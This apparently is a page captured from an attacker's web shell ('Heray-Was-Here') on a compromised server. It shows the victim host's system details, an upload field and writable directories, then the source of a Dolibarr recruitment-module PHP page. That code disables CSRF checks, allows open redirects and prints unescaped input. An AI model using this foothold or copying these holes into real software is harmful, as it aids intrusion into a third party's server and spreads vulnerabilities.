Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/recrutement/candidatures/degrees/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/recrutement/candidatures/degrees/card.php
<?php

if (!defined('NOTOKENRENEWAL'))  define('NOTOKENRENEWAL', 1);
if (!defined('NOCSRFCHECK'))     define('NOCSRFCHECK', 1);

$res=0;
if (! $res && file_exists("../../../main.inc.php")) $res=@include("../../../main.inc.php");       // For root directory
if (! $res && file_exists("../../../../main.inc.php")) $res=@include("../../../../main.inc.php"); // For "custom" 

global $conf;
if (!$conf->recrutement->enabled) {
    accessforbidden();
}
require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php';
require_once DOL_DOCUMENT_ROOT.'/product/class/html.formproduct.class.php';
require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php';

dol_include_once('/recrutement/class/candidatures.class.php');
dol_include_once('/recrutement/lib/recrutement.lib.php');

$langs->load('recrutement@recrutement');
$modname = $langs->trans("degrees");


$form           = new Form($db);

$var                = true;
$sortfield          = ($_GET['sortfield']) ? $_GET['sortfield'] : "rowid";
$sortorder          = ($_GET['sortorder']) ? $_GET['sortorder'] : "DESC";
$id                 = $_GET['id'];
$action             = $_GET['action'];
$action             = GETPOST('action');
$id                 = GETPOST('id');


if(!empty($id)){
    $object = new rect_degrees($db);
    $object->fetch($id);
    if (!($object->rowid > 0))
    {
        $langs->load("errors");
        print($langs->trans('ErrorRecordNotFound'));
        exit;
    }
} 

$error  = false;
if (!$user->rights->recrutement->lire) {
    accessforbidden();
}

if($action == "add") {
    if (!$user->rights->recrutement->creer) {
        accessforbidden();
    }
}
if($action == "edit") {
    if (!$user->rights->recrutement->creer) {
        accessforbidden();
    }
}
if($action == "delete") {
    if (!$user->rights->recrutement->supprimer) {
        accessforbidden();
    }
}


if ($action == 'create') {
    $backtopage = GETPOST('backtopage');
    
    $object = new rect_degrees($db);
    $data = array(
        'label'       =>  addslashes(GETPOST('label')),
        'entity'      =>  $conf->entity,
     );
    $insertid = $object->create($data);
    
    // If no SQL error we redirect to the request card
    if ($insertid > 0 ) {
        if($backtopage){
            header('Location:'. $backtopage);
        }else
            header('Location: ./index.php?page='. $page);
        exit;
    } 
    else {
        header('Location: card.php?action=request&error=SQL_Create&msg='.$pointctrl->error);
        exit;
    }
}

if ($action == 'update') {
    $entity = GETPOST('entity') ? GETPOST('entity') : $conf->entity;
    $object = new rect_degrees($db);
    $object->fetch($id);

    $backtopage = GETPOST('backtopage');
    $data = array(
        'label'       =>  addslashes(GETPOST('label')),
        'entity'      =>  $entity,

    );
    $avanc = $object->update($id,$data);

    // If no SQL error we redirect to the request card
    if ($avanc > 0 ) {
        if($backtopage){
            header('Location:'. $backtopage);
        }else
            header('Location: ./index.php?page='. $page);
        exit;
    } 
    else {
        header('Location: card.php?action=request&error=SQL_Create&msg='.$object->error);
        exit;
    }
}

if ($action == 'confirm_delete' && GETPOST('confirm') == 'yes' ) {
    
    if (!$id || $id <= 0) {
        header('Location: ./card.php?action=request&error=dalete_failed&id='.$id);
        exit;
    }

    $page  = GETPOST('page');
    $object = new rect_degrees($db);
    $object->fetch($id);
    $error = $object->delete();

    if ($error == 1) {
        header('Location: index.php?delete='.$id.'&page='.$page);
        exit;
    }
    else {      
        header('Location: card.php?delete=1&page='.$page);
        exit;
    }
}



$morejs  = array();
llxHeader(array(), $modname,'','','','',$morejs,0,0);
print_fiche_titre($modname);


if($id){
    $head = menu_degrees($id);
    dol_fiche_head($head, 'general', $langs->trans('major'), -1, 'generic');
    
    $object= new rect_degrees($db);
    $object->fetch($id);

    $linkback = '<a href="./index.php?page='.$page.'">'.$langs->trans("BackToList").'</a>';
    print $object->showNavigations($object, $linkback);
}

// die("Traitement en cour ...");

print '<div id="carddegree">';
    if($action == "add"){
        print '<form method="post" action="'.$_SERVER["PHP_SELF"].'" enctype="multipart/form-data" class="form_degrees">';
            print '<input type="hidden" name="action" value="create" />';
            print '<input type="hidden" name="page" value="'.$page.'" />';
            print '<input type="hidden" name="backtopage" value="'.$backtopage.'" />';

            print '<table class="border nc_table_" width="100%">';

                print '<tr>';
                    print '<td class="titlefieldcreate" >'.$langs->trans('Label').'</td>';
                    print '<td>';
                        print '<input type="text" style="width:100%" name="label">';
                    print '</td>';
                print '</tr>';

            print '</table>';

            print '<div style="clear:both"></div>';

            // Actions
            print '<br>';
            print '<div class="center">';
                    print '<input type="submit" id="submitform" value="'.$langs->trans('Validate').'" name="bouton" class="button" />';
                    print '<input type="button" value="'.$langs->trans('Cancel').'" class="button" onclick="history.go(-1)">';
            print '</div>';

        print '</form>';
    }


        $object = new rect_degrees($db);
        $object->fetch($id);

    if($action == "edit"){

        
        print '<form method="post" action="'.$_SERVER["PHP_SELF"].'" enctype="multipart/form-data" class="form_degrees">';
            print '<input type="hidden" name="action" value="update" />';
            print '<input type="hidden" name="id" value="'.$id.'" />';
            print '<input type="hidden" name="page" value="'.$page.'" />';
            print '<input type="hidden" name="entity" value="'.$object->entity.'" />';
            print '<input type="hidden" name="backtopage" value="'.$backtopage.'" />';

            print '<table class="border nc_table_" width="100%">';

                print '<tr>';
                    print '<td class="titlefieldcreate" >'.$langs->trans('Label').'</td>';
                    print '<td>';
                        print '<input type="text" style="width:100%" value="'.$object->label.'" name="label">';
                    print '</td>';
                print '</tr>';

            print '</table>';

            print '<div style="clear:both"></div>';

            // Actions
            print '<br>';

            print '<div class="center">';
                print '<input type="submit" id="submitform" value="'.$langs->trans('Validate').'" name="bouton" class="button" />';
                print '<input type="button" value="'.$langs->trans('Cancel').'" class="button" onclick="history.go(-1)">';
            print '</div>';

        print '</form>';
    }

    if( ($id && empty($action)) || $action == "delete"){

        if($action == "delete")
            print $form->formconfirm("card.php?id=".$id."&page=".$page,$langs->trans('Confirmation') , $langs->trans('ConfirmDeleteObject'),"confirm_delete",    'index.php?page='.$page, 0, 1);

       

        print '<form method="post" action="'.$_SERVER["PHP_SELF"].'" enctype="multipart/form-data" class="form_reservsall">';

            // $linkback = '<a href="./index.php?page='.$page.'">'.$langs->trans("BackToList").'</a>';
            // print $pointcontrol->showNavigations($object, $linkback);

            print '<input type="hidden" name="action" value="update" />';
            print '<input type="hidden" name="id" value="'.$id.'" />';
            print '<input type="hidden" name="page" value="'.$page.'" />';
            print '<input type="hidden" name="confirm" itemue="no" id="confirm" />';

            print '<input type="hidden" name="backtopage" value="'.$backtopage.'" />';

            print '<table class="border tableforfield" width="100%">';
                
               print '<tr>';
                    print '<td class="titlefieldcreate" >'.$langs->trans('Label').'</td>';
                    print '<td>'.$object->label.'</td>';
                print '</tr>';
              
            print '</table>';

            print '<div style="clear:both"></div>';
            print '<br>';
            // Actions
            print '<table class="" width="100%">';
                print '<tr>';
                    print '<td colspan="2" align="right">';
                    print '<a href="./card.php?id='.$id.'&action=edit" class="butAction">'.$langs->trans('Modify').'</a>';
                    print '<a href="./index.php?page='.$page.'" class="butAction">'.$langs->trans('Cancel').'</a>';
                    print '<a href="./card.php?id='.$id.'&action=delete" class="butActionBTNC butActionDelete">'.$langs->trans('Delete').'</a></td>';
                print '</tr>';
            print '</table>';

        print '</form>';
    }

print '</div>';

// End of page
llxFooter();
$db->close();

Hry